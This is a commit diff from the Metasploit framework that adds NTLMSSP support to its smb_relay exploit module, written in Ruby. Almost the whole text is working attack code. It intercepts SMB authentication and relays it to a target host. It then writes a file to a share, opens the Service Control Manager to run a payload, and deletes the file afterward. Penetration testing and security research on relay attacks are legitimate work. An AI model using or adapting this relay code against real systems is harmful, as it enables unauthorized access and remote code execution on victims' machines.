Land #4706 jvazquez-r7 adds NTLMSSP support for smb_relay
Brent Cook
commit
58436fcc98
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@ -58,7 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
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},
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'Author' =>
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[
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'hdm'
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'hdm', # All the work
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'juan vazquez' # Add NTLMSSP support to the exploit
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],
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'License' => MSF_LICENSE,
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'Privileged' => true,
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@ -111,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
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return
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end
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if (not rclient.client.auth_user)
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unless smb[:ntlmssp] || rclient.client.auth_user
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print_line(" ")
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print_error(
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"FAILED! The remote host has only provided us with Guest privileges. " +
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@ -124,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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print_status("Connecting to the defined share...")
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rclient.connect(datastore['SHARE'])
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rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
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@pwned[smb[:rhost]] = true
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@ -155,10 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote
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print_status("Created \\#{filename}...")
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# Disconnect from the SHARE
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rclient.disconnect(datastore['SHARE'])
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rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
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print_status("Connecting to the Service Control Manager...")
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rclient.connect("IPC$")
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rclient.connect("\\\\#{smb[:rhost]}\\IPC$")
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dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
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@ -291,10 +292,10 @@ class Metasploit3 < Msf::Exploit::Remote
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print_error("Error: #{e}")
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end
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rclient.disconnect("IPC$")
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rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")
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print_status("Deleting \\#{filename}...")
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rclient.connect(datastore['SHARE'])
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rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
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rclient.delete("\\#{filename}")
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end
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@ -353,6 +354,9 @@ class Metasploit3 < Msf::Exploit::Remote
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# Record the remote process ID
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smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
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flags2 = pkt['Payload']['SMB'].v['Flags2']
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extended_security = (flags2 & 0x800 == 0x800)
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group = ''
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machine = smb[:nbsrc]
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@ -363,13 +367,64 @@ class Metasploit3 < Msf::Exploit::Remote
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dialects.index("NT LM 0.12") ||
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dialects.length-1
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# Dialect selected, now we try to the target system
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target_host = datastore['SMBHOST']
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if (not target_host or target_host.strip.length == 0)
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target_host = smb[:ip]
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end
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# If extended security isn't supported or we're trying reflection
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# ntlmv1 should be used, otherwise, use ntlmssp
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if extended_security && target_host != smb[:ip]
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smb[:ntlmssp] = true
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negotiate_ntlmssp(smb, target_host)
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else
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smb[:ntlmssp] = false
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negotiate_ntlmv1(smb, target_host)
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end
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rclient = smb[:rclient]
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# Negotiation has failed, just return
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unless rclient && rclient.client
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return
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end
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pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
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smb_set_defaults(c, pkt)
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time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 17
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pkt['Payload'].v['Dialect'] = dialect
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pkt['Payload'].v['SecurityMode'] = 3
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pkt['Payload'].v['MaxMPX'] = 2
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pkt['Payload'].v['MaxVCS'] = 1
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pkt['Payload'].v['MaxBuff'] = 4356
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pkt['Payload'].v['MaxRaw'] = 65536
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pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd
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pkt['Payload'].v['ServerTime'] = time_lo
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pkt['Payload'].v['ServerDate'] = time_hi
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pkt['Payload'].v['Timezone'] = 0x0
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pkt['Payload'].v['SessionKey'] = 0
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if smb[:ntlmssp]
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pkt['Payload'].v['KeyLength'] = 0
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pkt['Payload'].v['Payload'] =
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID
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Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp
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else
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pkt['Payload'].v['KeyLength'] = 8
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pkt['Payload'].v['Payload'] =
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rclient.client.challenge_key +
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Rex::Text.to_unicode(group) + "\x00\x00" +
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Rex::Text.to_unicode(machine) + "\x00\x00"
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end
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c.put(pkt.to_s)
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end
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def negotiate_ntlmv1(smb, target_host)
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rsock = nil
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rport = nil
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[445, 139].each do |rport_|
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@ -382,7 +437,7 @@ class Metasploit3 < Msf::Exploit::Remote
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self,
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'MsfExploit' => self
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}
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)
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break if rsock
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@ -393,7 +448,7 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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end
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if(not rsock)
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unless rsock
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print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
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return
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end
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@ -409,12 +464,61 @@ class Metasploit3 < Msf::Exploit::Remote
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raise e
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end
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if (not rclient.client.challenge_key)
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unless rclient.client.challenge_key
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print_error("No challenge key received from #{smb[:ip]}:#{rport}")
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rsock.close
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return
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end
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if smb[:rsock]
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smb[:rsock].close
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end
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smb[:rsock] = rsock
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smb[:rclient] = rclient
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smb[:rhost] = target_host
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end
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def negotiate_ntlmssp(smb, target_host)
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rsock = nil
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rport = 445
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begin
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rsock = Rex::Socket::Tcp.create(
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'PeerHost' => target_host,
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'PeerPort' => rport,
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'Timeout' => 3,
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self
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}
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)
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
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end
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unless rsock
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print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
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return
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end
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rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true)
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rclient.client.negotiate(true) # extended security true
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unless rclient.client.server_guid
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print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
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rsock.close
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return
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end
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# If in the answer the Extended Security Negotiation (Flags2) is set
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# we need to proceed like that!
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rclient.client.require_signing = false
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if (smb[:rsock])
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smb[:rsock].close
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end
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@ -422,40 +526,27 @@ class Metasploit3 < Msf::Exploit::Remote
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smb[:rsock] = rsock
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smb[:rclient] = rclient
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smb[:rhost] = target_host
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pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
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smb_set_defaults(c, pkt)
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time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 17
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pkt['Payload'].v['Dialect'] = dialect
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pkt['Payload'].v['SecurityMode'] = 3
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pkt['Payload'].v['MaxMPX'] = 2
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pkt['Payload'].v['MaxVCS'] = 1
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pkt['Payload'].v['MaxBuff'] = 4356
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pkt['Payload'].v['MaxRaw'] = 65536
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pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
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pkt['Payload'].v['ServerTime'] = time_lo
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pkt['Payload'].v['ServerDate'] = time_hi
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pkt['Payload'].v['Timezone'] = 0x0
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pkt['Payload'].v['SessionKey'] = 0
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pkt['Payload'].v['KeyLength'] = 8
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pkt['Payload'].v['Payload'] =
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rclient.client.challenge_key +
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Rex::Text.to_unicode(group) + "\x00\x00" +
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Rex::Text.to_unicode(machine) + "\x00\x00"
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c.put(pkt.to_s)
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end
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def smb_cmd_session_setup(c, buff)
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smb = @state[c]
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if smb[:ntlmssp]
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pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
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else
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pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
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end
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pkt.from_s(buff)
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capabilities = pkt['Payload'].v['Capabilities']
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extended_security = (capabilities & 0x80000000 == 0x80000000)
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if extended_security
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smb_cmd_session_setup_ntlmssp(c, buff)
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else
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smb_cmd_session_setup_ntlmv1(c, buff)
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end
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end
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def smb_cmd_session_setup_ntlmv1(c, buff)
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smb = @state[c]
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pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
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pkt.from_s(buff)
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@ -519,7 +610,7 @@ class Metasploit3 < Msf::Exploit::Remote
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rescue XCEPT::LoginError
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end
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if (res)
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if res
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print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
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smb_haxor(c)
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else
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@ -539,4 +630,128 @@ class Metasploit3 < Msf::Exploit::Remote
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c.put(pkt.to_s)
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end
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def smb_cmd_session_setup_ntlmssp(c, buff)
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smb = @state[c]
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buff_copy = buff.dup
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pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
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pkt.from_s(buff_copy)
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blob_length = pkt['Payload'].v['SecurityBlobLen']
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blob = pkt['Payload'].v['Payload'][0, blob_length]
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#detect if GSS is being used I need to fix this code.... but
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if blob[0,7] == 'NTLMSSP'
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c_gss = false
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else
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c_gss = true
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start = blob.index('NTLMSSP')
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if start
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blob.slice!(0,start)
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else
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print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
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smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
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return
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end
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end
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ntlm_message = NTLM_MESSAGE::parse(blob)
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case ntlm_message
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when NTLM_MESSAGE::Type1
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smb_cmd_ntlmssp_negotiate(c, buff)
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when NTLM_MESSAGE::Type3
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smb_cmd_ntlmssp_auth(c, buff)
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else
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smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
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return
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end
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end
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def smb_cmd_ntlmssp_negotiate(c, buff)
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smb = @state[c]
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pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
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pkt.from_s(buff)
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smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
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smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
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smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
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smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
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security_blob_length = pkt['Payload'].v['SecurityBlobLen']
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security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
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print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}")
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rclient = smb[:rclient]
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rclient.client.session_setup_with_ntlmssp_blob(security_blob, false)
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print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}")
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resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
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rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
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security_blob_length = resp['Payload'].v['SecurityBlobLen']
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security_blob = resp['Payload'].v['Payload'][0, security_blob_length]
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print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}")
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challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
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smb_set_defaults(c, challenge)
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native_data = ''
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native_data << "Unix\x00" #Native OS
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native_data << "Samba\x00" #Native LanMAN
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challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
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challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
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challenge['Payload']['SMB'].v['Flags1'] = 0x80
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challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing
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challenge['Payload']['SMB'].v['WordCount'] = 4
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challenge['Payload'].v['AndX'] = 0xFF
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challenge['Payload'].v['Reserved1'] = 0x00
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challenge['Payload'].v['AndXOffset'] = 0
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challenge['Payload'].v['Action'] = 0x0000
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challenge['Payload'].v['SecurityBlobLen'] = security_blob_length
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challenge['Payload'].v['Payload'] = security_blob + native_data
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c.put(challenge.to_s)
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end
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def smb_cmd_ntlmssp_auth(c, buff)
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smb = @state[c]
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pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
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pkt.from_s(buff)
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smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
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smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
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smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
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smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
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print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response")
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security_blob_length = pkt['Payload'].v['SecurityBlobLen']
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security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
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smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
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print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}")
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rclient = smb[:rclient]
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rclient.client.session_setup_with_ntlmssp_blob(
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security_blob,
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false,
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rclient.client.auth_user_id
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)
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resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
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#check if auth was successful
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if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
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print_good("SMB auth relay against #{smb[:rhost]} succeeded")
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smb_haxor(c)
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else
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failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
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failure.word_count = resp['Payload']['SMB'].v['WordCount']
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failure.command = resp['Payload']['SMB'].v['Command']
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failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
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raise failure
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end
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end
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end
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